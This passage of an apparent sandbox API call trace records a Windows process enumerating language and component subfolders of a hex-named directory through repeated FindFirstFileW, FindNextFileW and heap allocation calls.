hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.680] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.681] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0126.681] FindClose (in: hFindFile=0x52a6c0 | out: hFindFile=0x52a6c0) returned 1 [0126.681] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0126.681] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0126.681] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0126.681] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x52a6c0 [0126.682] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.682] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.682] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.682] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.682] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0126.682] FindClose (in: hFindFile=0x52a6c0 | out: hFindFile=0x52a6c0) returned 1 [0126.683] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0126.683] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0126.683] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0126.683] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x52a6c0 [0126.684] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.684] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.684] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.684] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.684] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0126.684] FindClose (in: hFindFile=0x52a6c0 | out: hFindFile=0x52a6c0) returned 1 [0126.685] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0126.685] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0126.685] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0126.685] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x52a6c0 [0126.686] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.686] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.686] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.686] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.686] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0126.686] FindClose (in: hFindFile=0x52a6c0 | out: hFindFile=0x52a6c0) returned 1 [0126.687] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0126.687] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0126.687] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0126.687] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x52a6c0 [0126.687] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.687] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.687] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.688] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.688] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0126.688] FindClose (in: hFindFile=0x52a6c0 | out: hFindFile=0x52a6c0) returned 1 [0126.693] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0126.693] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0126.693] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0126.693] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x52a6c0 [0126.694] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.694] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.694] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.694] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.694] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0126.694] FindClose (in: hFindFile=0x52a6c0 | out: hFindFile=0x52a6c0) returned 1 [0126.695] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0126.695] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0126.695] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0126.695] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x52a6c0 [0126.696] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.696] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.696] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.696] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.696] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0126.696] FindClose (in: hFindFile=0x52a6c0 | out: hFindFile=0x52a6c0) returned 1 [0126.697] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0126.697] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0126.697] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0126.697] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x52a6c0 [0126.698] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.698] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.698] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.698] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.698] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0126.698] FindClose (in: hFindFile=0x52a6c0 | out: hFindFile=0x52a6c0) returned 1 [0126.699] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0126.699] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0126.699] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0126.699] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x52a780 [0127.022] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.023] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.023] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.023] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.023] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0127.023] FindClose (in: hFindFile=0x52a780 | out: hFindFile=0x52a780) returned 1 [0127.023] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0127.023] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.023] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0127.023] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x52a780 [0127.025] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.025] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.025] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.025] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.025] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0127.025] FindClose (in: hFindFile=0x52a780 | out: hFindFile=0x52a780) returned 1 [0127.026] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0127.026] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.026] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0127.026] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x52a780 [0127.028] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.028] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.028] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.028] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.028] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0127.028] FindClose (in: hFindFile=0x52a780 | out: hFindFile=0x52a780) returned 1 [0127.029] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0127.029] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.029] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0127.029] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x52a780 [0127.031] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.031] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.031] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.031] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.031] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0127.031] FindClose (in: hFindFile=0x52a780 | out: hFindFile=0x52a780) returned 1 [0127.032] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0127.032] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.032] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0127.032] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x52a780 [0127.034] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.034] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.034] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.034] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.034] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0127.034] FindClose (in: hFindFile=0x52a780 | out: hFindFile=0x52a780) returned 1 [0127.035] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0127.035] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.035] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0127.035] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x52a780 [0127.036] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.036] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.037] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.037] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.037] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0127.037] FindClose (in: hFindFile=0x52a780 | out: hFindFile=0x52a780) returned 1 [0127.037] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0127.038] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.038] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0127.038] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x52a780 [0127.040] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.040] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.040] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.040] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.041] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0127.041] FindClose (in: hFindFile=0x52a780 | out: hFindFile=0x52a780) returned 1 [0127.041] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0127.041] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.041] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0127.041] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x52a780 [0127.044] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.044] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.044] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.044] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.044] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0127.044] FindClose (in: hFindFile=0x52a780 | out: hFindFile=0x52a780) returned 1 [0127.045] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0127.045] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.045] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0127.045] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x52a780 [0127.046] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.047] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.047] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.047] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.047] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0127.047] FindClose (in: hFindFile=0x52a780 | out: hFindFile=0x52a780) returned 1 [0127.048] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0127.048] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.048] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0127.048] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x52a780 [0127.049] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.049] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.049] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.049] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.050] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0127.050] FindClose (in: hFindFile=0x52a780 | out: hFindFile=0x52a780) returned 1 [0127.050] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0127.050] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.050] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0127.050] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x52a780 [0127.052] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.052] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.052] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.052] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.052] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0127.052] FindClose (in: hFindFile=0x52a780 | out: hFindFile=0x52a780) returned 1 [0127.053] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0127.053] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.053] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0127.053] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x52a780 [0127.055] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.055] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.055] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.055] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.055] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0127.055] FindClose (in: hFindFile=0x52a780 | out: hFindFile=0x52a780) returned 1 [0127.056] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0127.056] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.056] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0127.056] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x52a780 [0127.058] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.058] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.058] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.058] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0127.058] FindClose (in: hFindFile=0x52a780 | out: hFindFile=0x52a780) returned 1 [0127.059] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0127.059] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.059] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.059] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.059] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0127.059] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x3e5bfd8 [0127.223] FindNextFileW (in: hFindFile=0x3e5bfd8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.223] FindNextFileW (in: hFindFile=0x3e5bfd8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.224] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0127.224] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.225] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0127.225] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.226] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.227] FindNextFileW (in: hFindFile=0x52a580, lpFindFileData=0x33cfcf8 | out: lpFindFileData=0x33cfcf8) returned 1 [0127.271] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.271] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.272] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.272] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.272] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.272] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.272] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.272] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.272] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.272] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.272] HeapFree 